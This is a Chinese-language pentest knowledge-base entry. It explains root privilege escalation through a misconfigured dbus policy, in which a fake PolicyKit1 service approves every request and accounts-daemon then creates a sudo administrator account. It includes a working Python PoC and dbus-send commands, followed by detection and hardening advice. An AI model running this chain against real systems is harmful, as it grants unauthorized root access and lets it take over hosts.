♧ Godown 安全知识树

dbus 策略允许任意用户 own service:伪造 PolicyKit1.Authority.CheckAuthorization 恒放行,经 Accounts.CreateUser/SetPassword 建 sudo 账号提权 root

pentest/privilege-escalation · verified

一句话结论

当 dbus-daemon 策略允许未授权连接并允许客户端 own 任意 service 时,攻击者可抢注系统总线上的 org.freedesktop.PolicyKit1 名字并提供伪造的 Authority.CheckAuthorization 恒返回授权成功;以 root 运行的 accounts-daemon 在执行 CreateUser/SetPassword 前向该伪造 Authority 求证授权,于是攻击者能创建 administrator 类型账号并设置密码,借 sudo 提权到 root。

原理

  • D-Bus 名字即信任边界:系统总线上的 org.freedesktop.PolicyKit1(polkitd)与 org.freedesktop.Accounts(accounts-daemon)是特权服务。dbus-daemon 的 <policy> 规定哪些用户/上下文可以连接、可以 own(request_name)哪些名字。若配置过宽(允许未授权连接且允许 own 任意 service),名字归属就不再可信。
  • 服务冒充(service impersonation):攻击者实现自己的 dbus 服务,以 replace_existing=True 注册 org.freedesktop.PolicyKit1,把对象 /org/freedesktop/PolicyKit1/Authority 上的 CheckAuthorization 替换为恒返回 (True, False, {})。D-Bus 按名字路由消息,此后所有发往该名字的方法调用都落到攻击者进程,真的 polkitd 被顶掉。
  • 为什么能提权:漏洞不在 polkit 自身,而在调用方的信任模型。accounts-daemon 以 root 运行,CreateUser/SetPassword 等敏感方法内部通过 D-Bus 调 PolicyKit1.Authority.CheckAuthorization 做授权判定。攻击者冒充 Authority 后,授权门被整体绕过,root 特权操作得以执行——冒充一个“被特权进程询问的授权服务”,比冒充特权服务本身更致命。
  • 签名匹配:polkit 的 CheckAuthorization 输入签名为 (sa{sv})sa{ss}us(subject、action_id、details、flags、cancellation_id),输出 (bba{ss})(is_authorized、is_challenge、details);返回 True 即“授权通过”。
  • 建管理员账号:Accounts.CreateUser(name, fullname, account_type) 的第三个参数 1 表示 administrator;accounts-daemon 按管理员账户创建(在 Ubuntu 等发行版上等价于加入 sudo 组),再用 Accounts.User.SetPassword 设置密码(该接口接收 crypt(3) 格式哈希),即可 su 登录并 sudo 到 root。
  • 原文注释里还给出 tcp:host=...,port=55557 的连接方式,说明该 dbus 可经 TCP 暴露,远程可达的总线同样可能成为入口。

触发条件

  • dbus-daemon(系统总线或暴露的 TCP 总线)策略允许攻击者无授权连接,且允许 own 任意 service(至少可抢注 org.freedesktop.PolicyKit1)。
  • 目标运行 accounts-daemon(org.freedesktop.Accounts)与 polkit,且 accounts-daemon 的 CreateUser/SetPassword 授权经系统总线上的 PolicyKit1 服务判定。
  • 攻击者能在该总线上启动自己的 dbus 服务进程(python-dbus + GLib 等)。

利用步骤

  1. 编写恶意 dbus 服务:实现 org.freedesktop.PolicyKit1.Authority 接口的 CheckAuthorization,恒返回 (True, False, {})。
  2. 以 replace_existing=True 注册 BusName org.freedesktop.PolicyKit1,在 /org/freedesktop/PolicyKit1/Authority 挂上伪造对象,替换授权判定源。
  3. 调用 org.freedesktop.Accounts 的 CreateUser 创建管理员账号(account_type=1)。
  4. 通过返回的用户对象路径调用 org.freedesktop.Accounts.User.SetPassword 为新账号设置密码(传入 crypt 哈希)。
  5. su/登录该账号,因其具备 sudo 权限切换到 root,完成提权。

PoC

按原文,先用 python-dbus 起伪造的 PolicyKit1 服务:

from gi.repository import GLib

import dbus
import dbus.service
import dbus.mainloop.glib

class SomeObject(dbus.service.Object):

    @dbus.service.method("org.freedesktop.PolicyKit1.Authority",
                         in_signature='(sa{sv})sa{ss}us', out_signature='(bba{ss})')
    def CheckAuthorization(self, subject,action_id,details,flags,cancellation_id):
        print(subject)
        print(action_id)
        print(details)
        print(flags)
        print(cancellation_id)
        return (True,False,{})

    def Exit(self):
        mainloop.quit()

if __name__ == '__main__':
    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
    # bus=dbus.bus.BusConnection("tcp:host=192.168.59.186,port=55557")
    bus= dbus.SystemBus()
    name = dbus.service.BusName("org.freedesktop.PolicyKit1", bus, replace_existing=True)
    print(bus.get_unique_name())
    object = SomeObject(bus, '/org/freedesktop/PolicyKit1/Authority')
    mainloop = GLib.MainLoop()
    print("Running example service.")
    mainloop.run()

再经 org.freedesktop.Accounts 创建一个管理员账号(原文命令):

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
  /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"" int32:1

原文随后只用文字说明“用 Accounts.User.SetPassword 修改密码”,未给完整命令;按 AccountsService API 补全示例如下(用户对象路径取 CreateUser 返回值里的 /org/freedesktop/Accounts/User<uid>,密码需为 crypt 哈希):

HASH=$(openssl passwd -6 'P@ssw0rd')
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
  /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:"$HASH" string:""

之后 su hack 输入密码,sudo -i 即得 root(原文结论:该用户拥有 sudo 权限,可切到 root)。

变体与关联

  • 同一配置缺陷可抢注任意特权 D-Bus 名(systemd、accounts-daemon 等),但冒充 polkit 的收益最大:它是其他 root daemon 的“授权裁判”,伪造其放行即可驱动一系列 polkit 保护的动作(账户管理、挂载、服务管理等),不止建号。
  • 与 PwnKit(CVE-2021-4034,pkexec SUID 内存破坏)不同:本链没有本地内存漏洞,纯粹是 dbus 配置错误导致的名字抢注与授权判定欺骗。
  • 与 libvirt TCP 未授权管理面类似都是“无认证管理接口 → root 文件/操作”,但机制与目标不同。
  • 工具上可用 busctl/gdbus 替代 dbus-send;gdbus call 同样可验证伪造后 CheckAuthorization 返回 true。

检测与防御

  • 修复 dbus 策略:删除 <allow own="*"/> 等过宽规则,按用户限制 own 名字;系统总线上仅允许 root/对应服务 own org.freedesktop.PolicyKit1 与 org.freedesktop.Accounts。审计 /etc/dbus-1/system.conf、/etc/dbus-1/system.d/*.conf 及定制配置。
  • 不要暴露系统总线:不要把 dbus 监听在 TCP 等未认证传输上(原文注释的 tcp:host=...,port=...);远程管理用受限传输(unix socket + SSH 隧道)并校验 dbus-daemon 策略。
  • 检测:监控总线 NameOwnerChanged 事件中 org.freedesktop.PolicyKit1 的 owner 是否变成非 polkitd 的进程/uid;auditd/日志关注 accounts-daemon 创建 administrator 账号(useradd//etc/passwd 变更)、新账号的 sudo 使用;必要时 dbus-monitor 观察伪造的 CheckAuthorization 调用与 true 响应。
  • 纵深防御:用 SELinux/AppArmor 限制谁可以 acquire dbus 名字;对 accounts-daemon 的关键动作增加独立审计;polkit 动作的授权不要只依赖单一可被抢注的总线服务。